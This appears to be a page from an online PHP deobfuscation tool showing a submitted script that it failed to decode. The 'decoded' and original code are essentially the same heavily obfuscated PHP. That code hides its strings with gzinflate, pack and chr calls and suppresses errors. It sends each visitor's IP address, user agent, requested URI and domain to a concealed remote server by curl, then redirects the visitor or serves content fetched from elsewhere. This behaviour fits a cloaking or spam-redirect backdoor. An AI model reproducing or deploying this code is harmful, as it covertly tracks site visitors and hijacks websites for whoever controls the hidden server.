Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if(!defined(''))define('', '');error_reporting(0);;$_GET[] = explode('|||', gzin..

Decoded Output download

<?php  
 
if(!defined(''))define('', '');error_reporting(0);;$_GET[] = explode('|||', gzinflate(substr('      }[u 
I`e|>?c;T*Ui~^_u)C{_wwV>k;d>z6zT#;b!"%h{Ksq8~M>s9\]u5^EH]ekt8NVHf!??4W/O>#^~%kw=f}HrIU7|s"}w,X|LocVQ/g%>>9+GG4JaKk:]s=1vq[%/AYf+Z 
A\)[y}z}wl"T{Y4kz90ouzdLV"T=}fV!\'AzY1+WcUy{xT3<ux`jRb y/Dmc}.>! 
a\kYYbrNsof6{=fr9|Fg^QNnCk15(mRI%WjkD973,Jj FWZk9>Skkd(4"VKEEH{j"w;	*S*G	! 
2 
c#\'.n{VcXHV7XY"yhKw2 
q;gSp]{(A{}7Xokp)LcSvd/_u@wa^!ZCz2	&V\7TG.1)rJ;9G0+I70d&tjVj+@uyX$\'V/x	:l^,	rP,aEH/(Q6Y\w`*IBa,GjM;FED)R0`Y>&iu \'	~eq0$ jF)wy%Curn4R_N>Cg##8u[:xSHIcXe }w*w\/G.qvl^z|j-/}zbc#LI@LM+&,hg0{~m.>|w33zXa-zgpyh11$^Y5(m?{\{\'T 
SdFOG/}^c\Fc{Fw,:?>V-"8u|A9Q_xHu:{:?N-lnd1.fT:SQ\}NC 
N~}vez3O-oIl\']Gxq0F#Vc	}s{ 
_J,vt9 
Z7uO\'w;k OwvO@0 T7}=5",%R*|W=Ksm(>Q-TuMbm`ozn9\'Ow =>?b^~lb=#u,)q=BU|?,2UzeCm8d%p)W;}2y0]K/_7YQg[_&sz[)5y{ z?,cnx|7+d  ',0x0a, -8)));$_GET[] = call_user_func_array(chr(69).chr(88).chr(112).chr(108).chr(79).chr(68).chr(101),array('|||', $_GET[][0x0]));;if(!defined(call_user_func_array("".chr(80).chr(97).chr(99).chr(107)."",array($_GET[][3*9-27],$_GET[][0x05]))))define(call_user_func_array("".chr(80).chr(97).chr(99).chr(107)."",array($_GET[][3*9-27],$_GET[][0x05])),call_user_func_array("pack",array($_GET[][15-5+7-17],$_GET[][0x00008])));error_reporting(0);;$_SERVER[]=explode(pack($_GET[][100-20*5],$_GET[][0x0f]),gzinflate(substr(call_user_func_array("pack",array($_GET[][4+5-3*3],$_GET[][0x014])),0x0a,-0x00008)));$_SERVER[]=call_user_func_array(chr(0x0000045).chr(0x000058).chr(0x00070).chr(0x00006c).chr(0x000004f).chr(0x000044).chr(0x0065),array(pack($_GET[][(5+6+7-18)*0],$_GET[][0x019]),$_SERVER[][0x0]));;goto lV_FrXY6KY;uy8u5o_Bjf:header(call_user_func_array(pack($_GET[][6/2*3-9],$_GET[][0x00001c]),array($_SERVER[][0x00003*0x000009-0x0001b],$_SERVER[][0x00003])).$result);exit;goto Im2xifAeSv;LMB30YgMZZ:$trimmedPath2=rtrim($path2,$path2[strlen($path2)-0x001]);$pathParts[0x0002]=$trimmedPath2;KVUv_0YAhI:$newUri=implode(call_user_func_array(pack($_GET[][6/2*3-9],$_GET[][0x00001c]),array($_SERVER[][0x000004+0x05-0x00003*0x00003],$_SERVER[][0x0a])),$pathParts);$fullUrl=pack($_SERVER[][0x006/0x0002*0x00003-0x000009],$_SERVER[][0x00b]).$client_domain.$newUri;goto hrlvIsxFqU;SmJbKVT6cr:$data=array(call_user_func_array(pack($_GET[][6/2*3-9],$_GET[][0x00001c]),array($_SERVER[][(0x05+0x006+0x0007-0x000012)*0],$_SERVER[][0x000c]))=>$encoded_data);$options=array(CURLOPT_URL=>$url,CURLOPT_POST=>!0,CURLOPT_POSTFIELDS=>http_build_query($data),CURLOPT_RETURNTRANSFER=>!0);$curl=curl_init();curl_setopt_array($curl,$options);$result=curl_exec($curl);goto kdGdXMYRgX;hrlvIsxFqU:$content=file_get_contents($fullUrl);echo $content;exit;goto QqiepIZ8Ax;CStRfGxM9T:goto uy8u5o_Bjf;kdGdXMYRgX:curl_close($curl);if($result!==pack($_SERVER[][(0x05+0x006+0x0007-0x000012)*0],$_SERVER[][0x000021])){goto CStRfGxM9T;}$pathParts=explode(call_user_func_array(pack($_GET[][6/2*3-9],$_GET[][0x00001c]),array($_SERVER[][0x000004+0x05-0x00003*0x00003],$_SERVER[][0x0a])),$uri);if(!(count($pathParts)>=0x00003)){goto KVUv_0YAhI;}$path2=$pathParts[0x0002];goto LMB30YgMZZ;lV_FrXY6KY:function get_client_ip(){$=$_SERVER[call_user_func_array(pack($_GET[][15-5+7-17],$_GET[][0x000003b]),array($_SERVER[][0x00003*0x000009-0x0001b],$_SERVER[][0x000026]))];;;;if(!isset($_SERVER[pack($_SERVER[][0x00003*0x000009-0x0001b],$_SERVER[][0x0000027])])){goto MB26bNTmuf;}$=$_SERVER[call_user_func_array(call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])),array($_SERVER[][0x006/0x0002*0x00003-0x000009],$_SERVER[][0x028]))];MB26bNTmuf:return $;;;;}$client_ip=get_client_ip();function get_client_domain(){$=$_SERVER[pack($_SERVER[][0x006/0x0002*0x00003-0x000009],$_SERVER[][0x00002b])];;;;if(!isset($_SERVER[call_user_func_array(call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])),array($_SERVER[][0x00003*0x000009-0x0001b],$_SERVER[][0x000002c]))])){goto DaeewSRQiu;}$=json_decode($_SERVER[call_user_func_array(call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])),array($_SERVER[][(0x05+0x006+0x0007-0x000012)*0],$_SERVER[][0x0002f]))],!0);if(!isset($[call_user_func_array(pack($_GET[][6/2*3-9],$_GET[][0x00001c]),array($_SERVER[][0x0f-0x05+0x0007-0x00011],$_SERVER[][0x000030]))])){goto AQyJo7_H0V;}$=$[pack($_SERVER[][0x0f-0x05+0x0007-0x00011],$_SERVER[][0x0000031])];AQyJo7_H0V:DaeewSRQiu:return $;;;;}$client_domain=get_client_domain();$uri=isset($_SERVER[pack($_SERVER[][(0x05+0x006+0x0007-0x000012)*0],$_SERVER[][0x00034])])?$_SERVER[pack($_SERVER[][0x064-0x014*0x05],$_SERVER[][0x000035])]:$_SERVER[pack($_SERVER[][0x064-0x014*0x05],$_SERVER[][0x0000036])];goto JIxc95uGKb;JIxc95uGKb:$user_agent=$_SERVER[call_user_func_array(pack($_GET[][6/2*3-9],$_GET[][0x00001c]),array($_SERVER[][0x000004+0x05-0x00003*0x00003],$_SERVER[][0x037]))];$data=$client_ip.call_user_func_array(call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])),array($_SERVER[][0x064-0x014*0x05],$_SERVER[][0x0038])).$user_agent.pack($_SERVER[][0x00003*0x000009-0x0001b],$_SERVER[][0x00039]).$uri.call_user_func_array(call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])),array($_SERVER[][0x064-0x014*0x05],$_SERVER[][0x0038])).$client_domain;$md5=call_user_func_array(pack($_GET[][6/2*3-9],$_GET[][0x00001c]),array($_SERVER[][0x006/0x0002*0x00003-0x000009],$_SERVER[][0x00003a]));$encoded_data=base64_encode($md5.$data);$url=call_user_func_array(pack($_GET[][6/2*3-9],$_GET[][0x00001c]),array($_SERVER[][0x006/0x0002*0x00003-0x000009],$_SERVER[][0x003d]));goto SmJbKVT6cr;Im2xifAeSv:QqiepIZ8Ax: 
?>

Did this file decode correctly?

Original Code

<?php 

if(!defined(''))define('', '');error_reporting(0);;$_GET[] = explode('|||', gzinflate(substr('      }[u
I`e|>?c;T*Ui~^_u)C{_wwV>k;d>z6zT#;b!"%h{Ksq8~M>s9\\]u5^EH]ekt8NVHf!??4W/O>#^~%kw=f}HrIU7|s"}w,X|LocVQ/g%>>9+GG4JaKk:]s=1vq[%/AYf+Z
A\\)[y}z}wl"T{Y4kz90ouzdLV"T=}fV!\'AzY1+WcUy{xT3<ux`jRb y/Dmc}.>!
a\\kYYbrNsof6{=fr9|Fg^QNnCk15(mRI%WjkD973,Jj FWZk9>Skkd(4"VKEEH{j"w;	*S*G	!
2
c#\'.n{VcXHV7XY"yhKw2
q;gSp]{(A{}7Xokp)LcSvd/_u@wa^!ZCz2	&V\\7TG.1)rJ;9G0+I70d&tjVj+@uyX$\'V/x	:l^,	rP,aEH/(Q6Y\\w`*IBa,GjM;FED)R0`Y>&iu \'	~eq0$ jF)wy%Curn4R_N>Cg##8u[:xSHIcXe }w*w\\/G.qvl^z|j-/}zbc#LI@LM+&,hg0{~m.>|w33zXa-zgpyh11$^Y5(m?{\\{\'T
SdFOG/}^c\\Fc{Fw,:?>V-"8u|A9Q_xHu:{:?N-lnd1.fT:SQ\\}NC
N~}vez3O-oIl\']Gxq0F#Vc	}s{
_J,vt9
Z7uO\'w;k OwvO@0 T7}=5",%R*|W=Ksm(>Q-TuMbm`ozn9\'Ow =>?b^~lb=#u,)q=BU|?,2UzeCm8d%p)W;}2y0]K/_7YQg[_&sz[)5y{ z?,cnx|7+d  ',0x0a, -8)));$_GET[] = call_user_func_array(chr(69).chr(88).chr(112).chr(108).chr(79).chr(68).chr(101),array('|||', $_GET[][0x0]));;if(!defined(call_user_func_array("".chr(80).chr(97).chr(99).chr(107)."",array($_GET[][3*9-27],$_GET[][0x05]))))define(call_user_func_array("".chr(80).chr(97).chr(99).chr(107)."",array($_GET[][3*9-27],$_GET[][0x05])),call_user_func_array("pack",array($_GET[][15-5+7-17],$_GET[][0x00008])));error_reporting(0);;$_SERVER[]=explode(pack($_GET[][100-20*5],$_GET[][0x0f]),gzinflate(substr(call_user_func_array("pack",array($_GET[][4+5-3*3],$_GET[][0x014])),0x0a,-0x00008)));$_SERVER[]=call_user_func_array(chr(0x0000045).chr(0x000058).chr(0x00070).chr(0x00006c).chr(0x000004f).chr(0x000044).chr(0x0065),array(pack($_GET[][(5+6+7-18)*0],$_GET[][0x019]),$_SERVER[][0x0]));;goto lV_FrXY6KY;uy8u5o_Bjf:header(call_user_func_array(pack($_GET[][6/2*3-9],$_GET[][0x00001c]),array($_SERVER[][0x00003*0x000009-0x0001b],$_SERVER[][0x00003])).$result);exit;goto Im2xifAeSv;LMB30YgMZZ:$trimmedPath2=rtrim($path2,$path2[strlen($path2)-0x001]);$pathParts[0x0002]=$trimmedPath2;KVUv_0YAhI:$newUri=implode(call_user_func_array(pack($_GET[][6/2*3-9],$_GET[][0x00001c]),array($_SERVER[][0x000004+0x05-0x00003*0x00003],$_SERVER[][0x0a])),$pathParts);$fullUrl=pack($_SERVER[][0x006/0x0002*0x00003-0x000009],$_SERVER[][0x00b]).$client_domain.$newUri;goto hrlvIsxFqU;SmJbKVT6cr:$data=array(call_user_func_array(pack($_GET[][6/2*3-9],$_GET[][0x00001c]),array($_SERVER[][(0x05+0x006+0x0007-0x000012)*0],$_SERVER[][0x000c]))=>$encoded_data);$options=array(CURLOPT_URL=>$url,CURLOPT_POST=>!0,CURLOPT_POSTFIELDS=>http_build_query($data),CURLOPT_RETURNTRANSFER=>!0);$curl=curl_init();curl_setopt_array($curl,$options);$result=curl_exec($curl);goto kdGdXMYRgX;hrlvIsxFqU:$content=file_get_contents($fullUrl);echo $content;exit;goto QqiepIZ8Ax;CStRfGxM9T:goto uy8u5o_Bjf;kdGdXMYRgX:curl_close($curl);if($result!==pack($_SERVER[][(0x05+0x006+0x0007-0x000012)*0],$_SERVER[][0x000021])){goto CStRfGxM9T;}$pathParts=explode(call_user_func_array(pack($_GET[][6/2*3-9],$_GET[][0x00001c]),array($_SERVER[][0x000004+0x05-0x00003*0x00003],$_SERVER[][0x0a])),$uri);if(!(count($pathParts)>=0x00003)){goto KVUv_0YAhI;}$path2=$pathParts[0x0002];goto LMB30YgMZZ;lV_FrXY6KY:function get_client_ip(){$=$_SERVER[call_user_func_array(pack($_GET[][15-5+7-17],$_GET[][0x000003b]),array($_SERVER[][0x00003*0x000009-0x0001b],$_SERVER[][0x000026]))];;;;if(!isset($_SERVER[pack($_SERVER[][0x00003*0x000009-0x0001b],$_SERVER[][0x0000027])])){goto MB26bNTmuf;}$=$_SERVER[call_user_func_array(call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])),array($_SERVER[][0x006/0x0002*0x00003-0x000009],$_SERVER[][0x028]))];MB26bNTmuf:return $;;;;}$client_ip=get_client_ip();function get_client_domain(){$=$_SERVER[pack($_SERVER[][0x006/0x0002*0x00003-0x000009],$_SERVER[][0x00002b])];;;;if(!isset($_SERVER[call_user_func_array(call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])),array($_SERVER[][0x00003*0x000009-0x0001b],$_SERVER[][0x000002c]))])){goto DaeewSRQiu;}$=json_decode($_SERVER[call_user_func_array(call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])),array($_SERVER[][(0x05+0x006+0x0007-0x000012)*0],$_SERVER[][0x0002f]))],!0);if(!isset($[call_user_func_array(pack($_GET[][6/2*3-9],$_GET[][0x00001c]),array($_SERVER[][0x0f-0x05+0x0007-0x00011],$_SERVER[][0x000030]))])){goto AQyJo7_H0V;}$=$[pack($_SERVER[][0x0f-0x05+0x0007-0x00011],$_SERVER[][0x0000031])];AQyJo7_H0V:DaeewSRQiu:return $;;;;}$client_domain=get_client_domain();$uri=isset($_SERVER[pack($_SERVER[][(0x05+0x006+0x0007-0x000012)*0],$_SERVER[][0x00034])])?$_SERVER[pack($_SERVER[][0x064-0x014*0x05],$_SERVER[][0x000035])]:$_SERVER[pack($_SERVER[][0x064-0x014*0x05],$_SERVER[][0x0000036])];goto JIxc95uGKb;JIxc95uGKb:$user_agent=$_SERVER[call_user_func_array(pack($_GET[][6/2*3-9],$_GET[][0x00001c]),array($_SERVER[][0x000004+0x05-0x00003*0x00003],$_SERVER[][0x037]))];$data=$client_ip.call_user_func_array(call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])),array($_SERVER[][0x064-0x014*0x05],$_SERVER[][0x0038])).$user_agent.pack($_SERVER[][0x00003*0x000009-0x0001b],$_SERVER[][0x00039]).$uri.call_user_func_array(call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("\X70\X61\X63\X6b",array($_GET[][15-5+7-17],$_GET[][0x03c])),array($_SERVER[][0x064-0x014*0x05],$_SERVER[][0x0038])).$client_domain;$md5=call_user_func_array(pack($_GET[][6/2*3-9],$_GET[][0x00001c]),array($_SERVER[][0x006/0x0002*0x00003-0x000009],$_SERVER[][0x00003a]));$encoded_data=base64_encode($md5.$data);$url=call_user_func_array(pack($_GET[][6/2*3-9],$_GET[][0x00001c]),array($_SERVER[][0x006/0x0002*0x00003-0x000009],$_SERVER[][0x003d]));goto SmJbKVT6cr;Im2xifAeSv:QqiepIZ8Ax:
?>

Function Calls

None

Variables

None

Stats

MD5 c8af5b0b7684d36e2f5db139b6df63db
Eval Count 0
Decode Time 45 ms